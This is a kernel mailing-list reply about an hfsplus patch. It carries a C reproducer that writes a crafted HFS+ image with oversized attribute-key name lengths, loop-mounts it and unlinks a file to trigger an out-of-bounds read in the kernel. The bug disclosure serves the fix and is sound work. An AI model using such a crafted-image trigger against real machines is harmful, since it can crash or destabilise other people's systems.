Re: [PATCH] hfsplus: validate attribute key name length

From: Kyuwon Cho

Date: Fri Dec 04 2026 - 00:01:36 EST


Hi Slava,

Thank you for the review. The reproducer is attached.

It builds the crafted image itself: a small HFS+ volume whose attributes
tree holds keys for file "x" that store 127 characters but set the
embedded name length to 255. Run it as root; it
writes the image to /files/hfsplus-attr.img (change IMAGE at the top to
use another path), attaches it to a loop device, mounts it at
/mnt/hfsplus-attr, and unlinks x. Removing the file's attributes searches the
attributes tree, and the key comparison reads past the key buffer,
which KASAN reports as a slab-out-of-bounds read in hfsplus_strcmp().

I will send v2 with the check in a helper called from both
hfs_brec_keylen() and hfs_bnode_read_key(), on top of Ozgun Kultekin's
hfs_bnode_read_key() series.

Thanks,
Kyuwon
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/loop.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <unistd.h>

#define IMAGE "/files/hfsplus-attr.img"
#define MNT "/mnt/hfsplus-attr"
#define SECTOR 512U
#define BLOCKS 4096U

struct extent {
uint32_t start, count;
} __attribute__((packed));

struct fork_raw {
uint64_t size;
uint32_t clump, blocks;
struct extent ext[8];
} __attribute__((packed));

struct volume_header {
uint16_t signature, version;
uint32_t attributes, last_mount, reserved;
uint32_t create_date, modify_date, backup_date, checked_date;
uint32_t file_count, folder_count;
uint32_t blocksize, total_blocks, free_blocks;
uint32_t next_alloc, rsrc_clump, data_clump, next_cnid;
uint32_t write_count;
uint64_t encodings;
uint32_t finder[8];
struct fork_raw alloc_file, ext_file, cat_file, attr_file, start_file;
} __attribute__((packed));

struct node_desc {
uint32_t next, prev;
uint8_t type, height;
uint16_t nrec, reserved;
} __attribute__((packed));

struct btree_header {
uint16_t depth;
uint32_t root, leaf_count, leaf_head, leaf_tail;
uint16_t node_size, max_key_len;
uint32_t node_count, free_nodes;
uint16_t reserved1;
uint32_t clump_size;
uint8_t btree_type, key_type;
uint32_t attributes;
uint32_t reserved3[16];
} __attribute__((packed));

struct hfsplus_perm {
uint32_t owner, group;
uint8_t rootflags, userflags;
uint16_t mode;
uint32_t dev;
} __attribute__((packed));

struct cat_folder {
uint16_t type, flags;
uint32_t valence, id;
uint32_t dates[5];
struct hfsplus_perm perm;
uint8_t finder_info[32];
uint32_t text_encoding, subfolders;
} __attribute__((packed));

struct cat_file {
uint16_t type, flags;
uint32_t reserved1, id;
uint32_t dates[5];
struct hfsplus_perm perm;
uint8_t finder_info[32];
uint32_t text_encoding, reserved2;
struct fork_raw data_fork, rsrc_fork;
} __attribute__((packed));

static void die(const char *what)
{
printf("FAIL: %s: %s\n", what, strerror(errno));
exit(1);
}

static void put16(void *vp, unsigned value)
{
uint16_t v = htons((uint16_t)value);
memcpy(vp, &v, sizeof(v));
}

static void put32(void *vp, uint32_t value)
{
uint32_t v = htonl(value);
memcpy(vp, &v, sizeof(v));
}

static void put64(void *vp, uint64_t value)
{
uint32_t hi = htonl((uint32_t)(value >> 32));
uint32_t lo = htonl((uint32_t)value);
memcpy(vp, &hi, sizeof(hi));
memcpy((uint8_t *)vp + 4, &lo, sizeof(lo));
}

static void write_at(int fd, const void *buf, size_t len, off_t off)
{
if (pwrite(fd, buf, len, off) != (ssize_t)len)
die("pwrite image");
}

static void set_fork(struct fork_raw *f, uint32_t start, uint32_t blocks,
uint64_t size)
{
memset(f, 0, sizeof(*f));
put64(&f->size, size);
put32(&f->clump, blocks * SECTOR);
put32(&f->blocks, blocks);
put32(&f->ext[0].start, start);
put32(&f->ext[0].count, blocks);
}

static void node_offsets(uint8_t *node, unsigned node_size,
const unsigned *off, unsigned nrec)
{
unsigned i;

for (i = 0; i <= nrec; i++)
put16(node + node_size - 2 * (i + 1), off[i]);
}

static void make_header_node(uint8_t *node, unsigned node_size,
unsigned depth, unsigned root,
unsigned leaf_count, unsigned leaf,
unsigned max_key_len, unsigned node_count,
unsigned free_nodes, uint32_t attributes,
uint8_t used_map)
{
struct node_desc *d = (void *)node;
struct btree_header *h = (void *)(node + sizeof(*d));
unsigned off[4];

memset(node, 0, node_size);
d->type = 1;
put16(&d->nrec, 3);
put16(&h->depth, depth);
put32(&h->root, root);
put32(&h->leaf_count, leaf_count);
put32(&h->leaf_head, leaf);
put32(&h->leaf_tail, leaf);
put16(&h->node_size, node_size);
put16(&h->max_key_len, max_key_len);
put32(&h->node_count, node_count);
put32(&h->free_nodes, free_nodes);
put32(&h->clump_size, node_size * node_count);
put32(&h->attributes, attributes);

/* Header record [14,120), user record [120,248), then map. */
node[248] = used_map;
off[0] = 14;
off[1] = 120;
off[2] = 248;
off[3] = node_size - 8;
node_offsets(node, node_size, off, 3);
}

static size_t cat_key(uint8_t *p, uint32_t parent, const char *name)
{
size_t n = strlen(name), i;

put16(p, 6 + 2 * n);
put32(p + 2, parent);
put16(p + 6, n);
for (i = 0; i < n; i++)
put16(p + 8 + 2 * i, (unsigned char)name[i]);
return 8 + 2 * n;
}

static size_t cat_thread(uint8_t *p, unsigned type, uint32_t parent,
const char *name)
{
size_t n = strlen(name), i;

put16(p, type);
put16(p + 2, 0);
put32(p + 4, parent);
put16(p + 8, n);
for (i = 0; i < n; i++)
put16(p + 10 + 2 * i, (unsigned char)name[i]);
return 10 + 2 * n;
}

static void make_catalog_leaf(uint8_t *node)
{
struct node_desc *d = (void *)node;
struct cat_folder folder;
struct cat_file file;
unsigned off[5], cur = 14;

memset(node, 0, 4096);
d->type = 0xff;
d->height = 1;
put16(&d->nrec, 4);

off[0] = cur;
cur += cat_key(node + cur, 1, "V");
memset(&folder, 0, sizeof(folder));
put16(&folder.type, 1);
put32(&folder.valence, 1);
put32(&folder.id, 2);
put16(&folder.perm.mode, 0040755);
memcpy(node + cur, &folder, sizeof(folder));
cur += sizeof(folder);

off[1] = cur;
cur += cat_key(node + cur, 2, "");
cur += cat_thread(node + cur, 3, 1, "V");

off[2] = cur;
cur += cat_key(node + cur, 2, "x");
memset(&file, 0, sizeof(file));
put16(&file.type, 2);
put16(&file.flags, 2 | 4); /* thread and xattr flags */
put32(&file.id, 16);
put16(&file.perm.mode, 0100644);
put32(&file.perm.dev, 1);
memcpy(node + cur, &file, sizeof(file));
cur += sizeof(file);

off[3] = cur;
cur += cat_key(node + cur, 16, "");
cur += cat_thread(node + cur, 4, 2, "x");

off[4] = cur;
node_offsets(node, 4096, off, 4);
}

static size_t attr_key(uint8_t *p, uint32_t cnid, unsigned inner_len,
unsigned stored_len, uint16_t fill)
{
unsigned i;

/* key_len excludes its own two bytes: pad, cnid, start, unistr. */
put16(p, 12 + 2 * stored_len);
put16(p + 2, 0);
put32(p + 4, cnid);
put32(p + 8, 0);
put16(p + 12, inner_len);
for (i = 0; i < stored_len; i++)
put16(p + 14 + 2 * i, fill);
return 14 + 2 * stored_len;
}

static void make_attr_index(uint8_t *node)
{
struct node_desc *d = (void *)node;
unsigned off[3], cur = 14;

memset(node, 0, 1024);
d->type = 0;
d->height = 2;
put16(&d->nrec, 2);

off[0] = cur;
cur += attr_key(node + cur, 15, 0, 0, 0);
put32(node + cur, 2);
cur += 4;

off[1] = cur;
cur += attr_key(node + cur, 16, 255, 127, 'A');
put32(node + cur, 2);
cur += 4;

off[2] = cur;
node_offsets(node, 1024, off, 2);
}

static void make_attr_leaf(uint8_t *node)
{
struct node_desc *d = (void *)node;
unsigned off[2], cur = 14;

memset(node, 0, 1024);
d->type = 0xff;
d->height = 1;
put16(&d->nrec, 1);
off[0] = cur;
cur += attr_key(node + cur, 16, 255, 127, 'A');
put32(node + cur, 0x10); /* inline-data record type is enough here */
cur += 4;
off[1] = cur;
node_offsets(node, 1024, off, 1);
}

static void make_image(void)
{
struct volume_header vh;
uint8_t buf[8192];
int fd;

_Static_assert(sizeof(vh) == 512, "HFS+ volume header size");
_Static_assert(sizeof(struct node_desc) == 14, "B-tree descriptor size");
_Static_assert(sizeof(struct btree_header) == 106, "B-tree header size");
_Static_assert(sizeof(struct cat_folder) == 88, "catalog folder size");
_Static_assert(sizeof(struct cat_file) == 248, "catalog file size");

fd = open(IMAGE, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (fd < 0)
die("open image");
if (ftruncate(fd, (off_t)BLOCKS * SECTOR))
die("truncate image");

memset(&vh, 0, sizeof(vh));
put16(&vh.signature, 0x482b);
put16(&vh.version, 4);
put32(&vh.attributes, 1U << 8); /* cleanly unmounted */
put32(&vh.last_mount, 0x482b4c78);
put32(&vh.file_count, 1);
put32(&vh.folder_count, 1);
put32(&vh.blocksize, SECTOR);
put32(&vh.total_blocks, BLOCKS);
put32(&vh.free_blocks, BLOCKS - 32);
put32(&vh.rsrc_clump, SECTOR);
put32(&vh.data_clump, SECTOR);
put32(&vh.next_cnid, 17);
set_fork(&vh.alloc_file, 3, 1, SECTOR);
set_fork(&vh.ext_file, 4, 1, SECTOR);
set_fork(&vh.cat_file, 8, 16, 8192);
set_fork(&vh.attr_file, 24, 8, 4096);
write_at(fd, &vh, sizeof(vh), 2 * SECTOR);
write_at(fd, &vh, sizeof(vh), (BLOCKS - 2) * SECTOR);

memset(buf, 0, SECTOR);
memset(buf, 0xff, 4); /* blocks 0..31 contain all metadata */
write_at(fd, buf, SECTOR, 3 * SECTOR);

make_header_node(buf, 512, 0, 0, 0, 0, 10, 1, 0, 2, 0x80);
write_at(fd, buf, 512, 4 * SECTOR);

make_header_node(buf, 4096, 1, 1, 4, 1, 516, 2, 0, 6, 0xc0);
make_catalog_leaf(buf + 4096);
write_at(fd, buf, 8192, 8 * SECTOR);

memset(buf, 0, 4096);
make_header_node(buf, 1024, 2, 1, 1, 2, 266, 4, 1, 6, 0xe0);
make_attr_index(buf + 1024);
make_attr_leaf(buf + 2048);
write_at(fd, buf, 4096, 24 * SECTOR);
fsync(fd);
close(fd);
}

static int attach_loop(const char *path, char *dev, size_t devlen)
{
struct loop_info64 li;
int img, ctl, loop, n;

img = open(path, O_RDWR);
if (img < 0)
die("open completed image");
ctl = open("/dev/loop-control", O_RDWR);
if (ctl < 0)
die("open loop-control");
n = ioctl(ctl, LOOP_CTL_GET_FREE);
if (n < 0)
die("LOOP_CTL_GET_FREE");
close(ctl);
snprintf(dev, devlen, "/dev/loop%d", n);
loop = open(dev, O_RDWR);
if (loop < 0)
die("open loop device");
if (ioctl(loop, LOOP_SET_FD, img))
die("LOOP_SET_FD");
memset(&li, 0, sizeof(li));
li.lo_flags = LO_FLAGS_AUTOCLEAR;
(void)ioctl(loop, LOOP_SET_STATUS64, &li);
close(img);
return loop;
}

int main(void)
{
char dev[64];
int loop;

setbuf(stdout, NULL);
make_image();
mkdir("/mnt", 0755);
mkdir(MNT, 0755);
loop = attach_loop(IMAGE, dev, sizeof(dev));

if (mount(dev, MNT, "hfsplus", 0, ""))
die("mount hfsplus");

printf("TARGET hfsplus_attr_bin_cmp_key\n");
errno = 0;
if (unlink(MNT "/x"))
printf("unlink returned -1 errno=%d (%s)\n", errno, strerror(errno));
else
printf("unlink unexpectedly completed\n");

umount(MNT);
close(loop);
return 0;
}